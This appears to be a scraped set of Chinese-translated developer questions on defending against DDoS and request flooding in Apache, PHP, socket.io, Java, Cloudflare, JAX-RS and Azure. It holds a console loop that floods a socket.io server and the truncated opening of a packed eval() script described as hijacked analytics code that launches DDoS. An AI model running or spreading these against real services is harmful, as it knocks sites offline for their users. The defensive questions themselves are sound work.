有哪些技术和/或模块可用于在apache中实现强大的速率限制(请求|字节/ ip /单位时间)?
DDoS(分布式拒绝服务攻击)通常在服务器级别被阻止吗?
有没有办法在PHP级别阻止它,或者至少减少它?
如果没有,阻止DDoS攻击的最快和最常见的方法是什么?
我最近一直在学习node.js和socket.io. 我的问题是如何保护服务器免受客户端攻击?
这是我的服务器代码
io.sockets.on('connection', function (socket) {
//users.push(socket);
socket.on('message', function (data) {
socket.on('disconnect', function () { });
socket.on('bcast', function (data) {
socket.emit('news', { 'data': data });
socket.broadcast.emit('news', { 'data': data });
});
socket.on('login', function(data){
socket.emit('login', {'data': [ socket.id, data ] });
});
});
});
Run Code Online (Sandbox Code Playgroud)
例如,如果客户端使用chrome开发人员工具来执行流动的代码
for(var i = 0; i<99999999999; i++)
{
socket.emit('bcast', {data: 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'});
}
Run Code Online (Sandbox Code Playgroud)
它会杀死服务器.
以下摘录来自一篇解释由于哈希数据结构中使用的非随机哈希函数而导致拒绝服务(DoS)攻击的可能性的文章.
[...]可以通过利用底层散列算法中的可预测冲突来利用条件.
为了验证它,我经历了Oracle的Java HashMap的参考实现,并且确实发现了一个使用的静态哈希函数:
static int hash(int h) {
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
Run Code Online (Sandbox Code Playgroud)
关于该主题的另一篇论文说:
Tomcat 6.0.32服务器在大约44分钟的i7 CPU时间内解析2 MB的冲突密钥串,因此大约6 kbit/s的攻击者可以使一个i7核心不断忙碌.如果攻击者有千兆连接,他可以保持大约100.000个i7核心忙
我们如何防范此漏洞.此外,对于许多软件,我们使用的是依赖于此实现的开源(Tomcat等).
我正在设计一个RESTful API,旨在供单页应用程序和本机移动应用程序使用.此API的某些调用会返回可以缓存一段时间的公开结果.此外,需要速率保护来保护API免受未经授权的用户(蜘蛛)
缓存: Cloudflare 支持HTTP缓存控制头,因此API可以决定通过GET请求的每个实体是否公开以及缓存多长时间.
DDOS保护: Cloudflare支持有一篇文章建议对后端API禁用DDOS保护,但这不适用于我的用例,即每个客户端应该向API发出少量请求.本机DDOS保护实际上符合我保护API免受机器人攻击的要求.
我需要知道如何以编程方式检测Cloudflare何时服务于Captcha/我受到攻击等页面这将允许SPA /移动应用程序智能地做出反应,并将用户重定向到Web视图,在那里她可以演示她" hummanness".
从Cloudflare文档中,显示DDOS质询时发送的HTTP状态代码并不明显.绕过Cloudflare DDOS保护的开源云计算器似乎表明Captcha和挑战页面的HTTP状态为200. 有没有比解析请求体更好的方法来确定是否启动了DDOS保护?
Cloudflare 显然使用cookie记录谁成功解决了Captcha.这显然会增加本机应用程序的额外复杂性.在挑战解决后,有没有一种方法可以将Cloudflare会话cookie转移回本机应用程序?
可能这是一个先进的Cloudflare用例 - 但我认为它很有前途,并且很高兴听到有人有这样的经历(在Cloudflare或其他CDN上).
我遇到了一个Web服务的问题,用户试图通过循环随机ID来猜测应用程序ID.
坏请求来自随机IP,所以我不能只禁止他们的IP(除非我动态地做,但我还没有考虑过).
目前,当我检测到已经进行了10次不良应用ID尝试的客户端时,我将它们放在我的应用中的阻止列表中,并拒绝当天该IP的进一步请求.
我想尽量减少我的服务器需要做的工作量,因为坏客户端将继续发送1000个请求,即使它们被拒绝.我知道有动态防火墙解决方案,但现在想要在我的应用程序中轻松实现.目前我正在睡觉5秒以减少呼叫,但我想要做的只是不向客户端发送响应,因此它必须超时.
任何人都知道如何在JAX-RS中用Java做到这一点?
我的服务就像,
@Path("/api")
public class MyServer {
@GET
@Consumes(MediaType.APPLICATION_XML)
@Produces(MediaType.APPLICATION_XML)
@Path("/my-request")
public String myRequest(String type,
@Context HttpServletRequest requestContext,
@Context HttpServletResponse response) {
...
}
Run Code Online (Sandbox Code Playgroud)
我只是想将网站从VPS迁移到Windows Azure网站.在进行负载测试后,我不小心拿走了我的测试网站,在每日带宽上使用了大约30MB.
这让我想知道如果我的网站突然被DDOS攻击击中会发生什么?我很确定一切都会立即超出每日和每小时的限制,更糟糕的是,将所有用户重定向到天蓝色超限通知.
有什么可以做的吗?我知道在将所有图像放在CDN之后,每日带宽限制将更难达到,但我担心如果出现尖峰或其他什么会发生什么.
很抱歉这样的答案没有头和尾.我希望你们能理解.
我不希望有人保留F5我的网站或使用一些工具来频繁请求页面.
也就是说,防止一个客户端频繁调用Action或Controller.
我该如何实现呢?我可以使用任何包裹吗?就像AntiXSS库一样.
每当我访问一个使用Cloudflare的攻击不足模式的网站时,它会向我显示通常的文字告诉我等待几秒钟,直到Cloudflare验证我不是机器人.每次我重新加载页面时,它都会更改我当前的Ray ID.
我的问题:Ray ID的目的是什么?是某种会话ID吗?
谢谢.
更新:
似乎加载了不同的hm.js(百度同济JS库).当没有观察到DDOS攻击时,加载标准的hm.js; 当有DDOS时,会加载完全不同的hm.js.我怀疑中国的防火墙正在改变代码.
这是已修改为启动DDOS的hm.js:
// the following code launches DDOS against sites like mingjingnews.com
eval(function(p, a, c, k, e, d) {
e = function(c) {
return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
}
;
if (!''.replace(/^/, String)) {
while (c--)
d[e(c)] = k[c] || e(c);
k = [function(e) {
return d[e]
}
];
e = function() {
return '\\w+'
}
;
c = …
Run Code Online (Sandbox Code Playgroud)